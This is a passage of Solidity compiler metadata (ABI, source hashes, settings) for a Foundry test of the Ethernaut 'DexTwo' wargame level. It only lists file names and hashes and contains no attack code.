Apache-2.0\",\"urls\":[\"bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59\",\"dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT\"]},\"lib/forge-std/src/console.sol\":{\"keccak256\":\"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70\",\"dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec\"]},\"lib/forge-std/src/console2.sol\":{\"keccak256\":\"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973\",\"dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF\"]},\"lib/forge-std/src/interfaces/IERC165.sol\":{\"keccak256\":\"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc\",\"dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT\"]},\"lib/forge-std/src/interfaces/IERC20.sol\":{\"keccak256\":\"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7\",\"dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9\"]},\"lib/forge-std/src/interfaces/IERC721.sol\":{\"keccak256\":\"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f\",\"dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm\"]},\"lib/forge-std/src/interfaces/IMulticall3.sol\":{\"keccak256\":\"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0\",\"dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2\"]},\"lib/forge-std/src/mocks/MockERC20.sol\":{\"keccak256\":\"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f\",\"dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw\"]},\"lib/forge-std/src/mocks/MockERC721.sol\":{\"keccak256\":\"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b\",\"dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN\"]},\"lib/forge-std/src/safeconsole.sol\":{\"keccak256\":\"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae\",\"dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq\"]},\"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol\":{\"keccak256\":\"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2\",\"dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y\"]},\"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol\":{\"keccak256\":\"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688\",\"dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol\":{\"keccak256\":\"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5\",\"dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol\":{\"keccak256\":\"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8\",\"dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol\":{\"keccak256\":\"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472\",\"dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol\":{\"keccak256\":\"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354\",\"dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce\"]},\"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol\":{\"keccak256\":\"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1\",\"dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/ERC20.sol\":{\"keccak256\":\"0x24b04b8aacaaf1a4a0719117b29c9c3647b1f479c5ac2a60f5ff1bb6d839c238\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://43e46da9d9f49741ecd876a269e71bc7494058d7a8e9478429998adb5bc3eaa0\",\"dweb:/ipfs/QmUtp4cqzf22C5rJ76AabKADquGWcjsc33yjYXxXC4sDvy\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/IERC20.sol\":{\"keccak256\":\"0x9750c6b834f7b43000631af5cc30001c5f547b3ceb3635488f140f60e897ea6b\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a7d5b1ef5d8d5889ad2ed89d8619c09383b80b72ab226e0fe7bde1636481e34\",\"dweb:/ipfs/QmebXWgtEfumQGBdVeM6c71McLixYXQP5Bk6kKXuoY4Bmr\"]},\"lib/openzeppelin-contracts-08/contracts/token/ERC20/extensions/IERC20Metadata.sol\":{\"keccak256\":\"0x8de418a5503946cabe331f35fe242d3201a73f67f77aaeb7110acb1f30423aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://5a376d3dda2cb70536c0a45c208b29b34ac560c4cb4f513a42079f96ba47d2dd\",\"dweb:/ipfs/QmZQg6gn1sUpM8wHzwNvSnihumUCAhxD119MpXeKp8B9s8\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Address.sol\":{\"keccak256\":\"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487\",\"dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG\"]},\"lib/openzeppelin-contracts-08/contracts/utils/Context.sol\":{\"keccak256\":\"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92\",\"dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3\"]},\"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol\":{\"keccak256\":\"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4\",\"dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol\":{\"keccak256\":\"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e\",\"dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv\"]},\"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol\":{\"keccak256\":\"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b\",\"dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq\"]},\"src/Ethernaut.sol\":{\"keccak256\":\"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2\",\"dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v\"]},\"src/attacks/DexTwoAttack.sol\":{\"keccak256\":\"0xe2b623bb8e68b6126dbc58a4e885b4f21bb16d2660ecf9d1dbb054067612292a\",\"license\":\"UNLICENSED\",\"urls\":[\"bzz-raw://fdf09c56d64e6e9cb42cd7d8df87330322852bbef5fd72b6d3c78d412cd76ba6\",\"dweb:/ipfs/QmZWgP8p9ZR5JV1iracwEXeuTUFH7gWg9Ak3EB9mzNEDVn\"]},\"src/levels/DexTwo.sol\":{\"keccak256\":\"0xeffc9f6006e26bd2ce1e6816206f515b65726c131439751db3636dd8886d6d5e\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://871623804cf6467cf51bb241e523472e6cea91a6ce400658adc218cffbfe2b38\",\"dweb:/ipfs/QmUjenKKbWtidbvdp8xFBeVH15NTxXKEnnC8ke3L78c1P7\"]},\"src/levels/DexTwoFactory.sol\":{\"keccak256\":\"0x17566ec4d83b157112eaf5b6e49b4374c40fefc4c137e75cefdd4e3e31d6dd58\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://971db3d42d4bea4b1c9806bc858569c20efe766146cf064cb7e9326d134ea905\",\"dweb:/ipfs/QmagNdS96XfdYh2oJD1jkoFgzo3GERZzLSbuaM5FXnPfdP\"]},\"src/levels/base/Level.sol\":{\"keccak256\":\"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd\",\"dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA\"]},\"src/metrics/Statistics.sol\":{\"keccak256\":\"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5\",\"dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf\"]},\"src/proxy/ProxyStats.sol\":{\"keccak256\":\"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2\",\"dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS\"]},\"test/levels/DexTwo.t.sol\":{\"keccak256\":\"0x87d386b09123e1d9b639a28c1d4ce592cbe5effa734ced28483d28c3abc0b068\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://6c6226c333a37b600829013b5857acaf3b3a5d7e2539a60e2678b1970280c344\",\"dweb:/ipfs/QmXKJ6deWKeXApPHqPwoZqMEjHNhfMtKrMfor6VyL4anZY\"]},\"test/utils/Utils.sol\":{\"keccak256\":\"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998\",\"dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log","anonymous":false},{"inputs":[{"internalType":"address","name":"","type":"address","indexed":false}],"type":"event","name":"log_address","anonymous":false},{"inputs":[{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_array","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"log_bytes","anonymous":false},{"inputs":[{"internalType":"bytes32","name":"","type":"bytes32","indexed":false}],"type":"event","name":"log_bytes32","anonymous":false},{"inputs":[{"internalType":"int256","name":"","type":"int256","indexed":false}],"type":"event","name":"log_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address","name":"val","type":"address","indexed":false}],"type":"event","name":"log_named_address","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256[]","name":"val","type":"uint256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256[]","name":"val","type":"int256[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"address[]","name":"val","type":"address[]","indexed":false}],"type":"event","name":"log_named_array","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes","name":"val","type":"bytes","indexed":false}],"type":"event","name":"log_named_bytes","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"bytes32","name":"val","type":"bytes32","indexed":false}],"type":"event","name":"log_named_bytes32","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false},{"internalType":"uint256","name":"decimals","type":"uint256","indexed":false}],"type":"event","name":"log_named_decimal_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"int256","name":"val","type":"int256","indexed":false}],"type":"event","name":"log_named_int","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"string","name":"val","type":"string","indexed":false}],"type":"event","name":"log_named_string","anonymous":false},{"inputs":[{"internalType":"string","name":"key","type":"string","indexed":false},{"internalType":"uint256","name":"val","type":"uint256","indexed":false}],"type":"event","name":"log_named_uint","anonymous":false},{"inputs":[{"internalType":"string","name":"","type":"string","indexed":false}],"type":"event","name":"log_string","anonymous":false},{"inputs":[{"internalType":"uint256","name":"","type":"uint256","indexed":false}],"type":"event","name":"log_uint","anonymous":false},{"inputs":[{"internalType":"bytes","name":"","type":"bytes","indexed":false}],"type":"event","name":"logs","anonymous":false},{"inputs":[],"stateMutability":"view","type":"function","name":"IS_TEST","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"contract Level","name":"level","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createLevelInstance","outputs":[{"internalType":"address","name":"instance","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"userNum","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"createUsers","outputs":[{"internalType":"address payable[]","name":"","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeArtifacts","outputs":[{"internalType":"string[]","name":"excludedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeContracts","outputs":[{"internalType":"address[]","name":"excludedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"excludeSenders","outputs":[{"internalType":"address[]","name":"excludedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"failed","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"getEthernautWithStatsProxy","outputs":[{"internalType":"contract Ethernaut","name":"","type":"address"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"getNextUserAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}]},{"inputs":[{"internalType":"string","name":"contractName","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"getOldFactory","outputs":[{"internalType":"address","name":"addr","type":"address"}]},{"inputs":[{"internalType":"uint256","name":"numBlocks","type":"uint256"}],"stateMutability":"nonpayable","type":"function","name":"mineBlocks"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"setUp"},{"inputs":[{"internalType":"contract Ethernaut","name":"ethernaut","type":"address"},{"internalType":"address","name":"instance","type":"address"}],"stateMutability":"nonpayable","type":"function","name":"submitLevelInstance","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifactSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedArtifactSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetArtifacts","outputs":[{"internalType":"string[]","name":"targetedArtifacts_","type":"string[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetContracts","outputs":[{"internalType":"address[]","name":"targetedContracts_","type":"address[]"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetInterfaces","outputs":[{"internalType":"struct StdInvariant.FuzzInterface[]","name":"targetedInterfaces_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"string[]","name":"artifacts","type":"string[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSelectors","outputs":[{"internalType":"struct StdInvariant.FuzzSelector[]","name":"targetedSelectors_","type":"tuple[]","components":[{"internalType":"address","name":"addr","type":"address"},{"internalType":"bytes4[]","name":"selectors","type":"bytes4[]"}]}]},{"inputs":[],"stateMutability":"view","type":"function","name":"targetSenders","outputs":[{"internalType":"address[]","name":"targetedSenders_","type":"address[]"}]},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testInit"},{"inputs":[],"stateMutability":"nonpayable","type":"function","name":"testSolve"}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{"testInit()":{"notice":"Check the intial state of the level and enviroment."},"testSolve()":{"notice":"Test the solution for the level."}},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"test/levels/DexTwo.t.sol":"TestDexTwo"},"evmVersion":"shanghai","libraries":{}},"sources":{"lib/forge-std/src/Base.sol":{"keccak256":"0x4ff1a785311017d1eedb1b4737956fa383067ad34eb439abfec1d989754dde1c","urls":["bzz-raw://f553622969b9fdb930246704a4c10dfaee6b1a4468c142fa7eb9dc292a438224","dweb:/ipfs/QmcxqHnqdQsMVtgsfH9VNLmZ3g7GhgNagfq7yvNCDcCHFK"],"license":"MIT"},"lib/forge-std/src/StdAssertions.sol":{"keccak256":"0xf513292ab066e6017db48ca749c1e63a44dfc5cba0326fc65c718f96e029d361","urls":["bzz-raw://02d715ae2898f1fabd08133f80e6a7a3b87a2796ca5d23d1cb3fed9f4367f34c","dweb:/ipfs/QmfESqa4j3PQAvvdfrnDQ1xUH1TnVCfvZYHsAEDK8z4X4k"],"license":"MIT"},"lib/forge-std/src/StdChains.sol":{"keccak256":"0x9cc29c28f49d0b7f7b2f1aa32d8273f8a087bf62eb3fb22d893df824052c25ef","urls":["bzz-raw://42dcb36cb10b878a0d5b20ce3a4a3ba4f51f44d7731a66ac1133c699bc80b31b","dweb:/ipfs/QmY6q7SaHQMLBb3rS6xZdArPaXoskWeqF6oJwUeZ3gKLZj"],"license":"MIT"},"lib/forge-std/src/StdCheats.sol":{"keccak256":"0xb72f3519e0bf7d31df5d68557525f4fc55d861c3fb3b0f7793144ef7c94cbeb7","urls":["bzz-raw://f3456d0f78e6f61203fa7871ba2df0d35925f10db3baee14be623ce2a35b84e2","dweb:/ipfs/QmWE6QQSBvJifHMraisBTrf1x4WCwrDoTPLX8UKajTiApc"],"license":"MIT"},"lib/forge-std/src/StdError.sol":{"keccak256":"0xbf477b11a42d7611696956546bcfaa29317d1166bf65e402344599c05943fc77","urls":["bzz-raw://bc2e117d1135e030862b96a6526a43feb38d396cc79857f1fb696d4eff0e5fd6","dweb:/ipfs/QmdSuQ5RrQudTLsNmWXGEeVJX8gR5U9XPm6m4dwwuQnJrj"],"license":"MIT"},"lib/forge-std/src/StdInvariant.sol":{"keccak256":"0x67299bfacd77fddfa2a67b8e2b901e0e333618a4975fb94850b07475e51f6de6","urls":["bzz-raw://1b61121d310f4053ce344b345b4a9ccf43b059daf9097ec2647f594beaca896d","dweb:/ipfs/QmZUCoTtXBM9zfAZVbj2dFPPnKaV1CSZzXE7zictyg3Gfz"],"license":"MIT"},"lib/forge-std/src/StdJson.sol":{"keccak256":"0x62bed173cb126f6d5006706cf249bac8a2d51bfa18f773f314784ff18adc622d","urls":["bzz-raw://5acc33dddbf2492e37dc32e89cd56ce917272d303a6874805f3a5768a6bfbf54","dweb:/ipfs/QmTsgFhcpUf16gAVazUXU3WspgX8nHke2hzVCvoqS25WEp"],"license":"MIT"},"lib/forge-std/src/StdMath.sol":{"keccak256":"0xd90ad4fd8aeaeb8929964e686e769fdedd5eded3fc3815df194a0ab9f91a3fb2","urls":["bzz-raw://7919b70f636c7b805223992f28ad1ad0145d6c1385b5931a3589aface5fe6c92","dweb:/ipfs/QmY7FRaULwoGgFteF8GawjQJRfasNgpWnU2aiMsFrYpuTC"],"license":"MIT"},"lib/forge-std/src/StdStorage.sol":{"keccak256":"0x651d84d948832f0ef45686417aa68ffb871378fa788a4123dbf37844903c66f3","urls":["bzz-raw://ff20f5ac9de3dc3ba86b1bf1f2723174e82ce3499ad67cb0ccfa7d28baeee678","dweb:/ipfs/QmRZkUFKz7AmF7yk6o317sk822HHhGVPXZQgX8G4LfYfft"],"license":"MIT"},"lib/forge-std/src/StdStyle.sol":{"keccak256":"0x43e2a8a9b9c2574dabe74f11adf6f782df218f463540e3b5b563609fe108597d","urls":["bzz-raw://51363ca97404cf4128e1141428949768c31929e75e014b02c85e887fbbb4f1b8","dweb:/ipfs/QmVhtbQc2fU4rRmbcfBtz34mAgG4BAZBsbna1Ca4SkoPsK"],"license":"MIT"},"lib/forge-std/src/StdToml.sol":{"keccak256":"0xc8a57915ace96f5b6a85b57e57690fc038cad9034a3dc368c11828a3707c61ab","urls":["bzz-raw://fa880a1a6e5d94005dcf4811b4c0df8d9c06407017ae111bd351483e2b76a72d","dweb:/ipfs/QmcxkEE58gE1vDcZofTr8QpvdjXjgR72yYg7o4vTPSLCsy"],"license":"MIT"},"lib/forge-std/src/StdUtils.sol":{"keccak256":"0x502b18a4becda6ecd91fa8b419d8034946bfa80e6cc7f6497f51f8565bfadae0","urls":["bzz-raw://bf499ee483a1dfd02023d4ce78ed4029a49794ccd5b849aaab912faea0d2ba61","dweb:/ipfs/QmP6hwNZW7sYbQK9fBzuZWxfLm6Swx2nKzvZ54qWNqQkzX"],"license":"MIT"},"lib/forge-std/src/Test.sol":{"keccak256":"0x3b4bb409a156dee9ce261458117fe9f81080ca844a8a26c07c857c46d155effe","urls":["bzz-raw://5792c69fe24bdc063a14e08fe68275007fdb1e5e7e343840a77938cb7e95a64e","dweb:/ipfs/QmcAMhaurUwzhytJFYix4vRNeZeV8g27b8LnV3t7dvYtiK"],"license":"MIT"},"lib/forge-std/src/Vm.sol":{"keccak256":"0x30d73c4fea34a791ad7334dd701df60fbb565c643556aadd6621e49e48895d1f","urls":["bzz-raw://be9cf80e55eff0f49ad0ab3c44214e56a3e53b5ecafe311a521f5472fa4bbf59","dweb:/ipfs/QmQHrZZoscvkfKSD2m6jhktrh8ieSLV2fg9DHGDHJiBkjT"],"license":"MIT OR Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb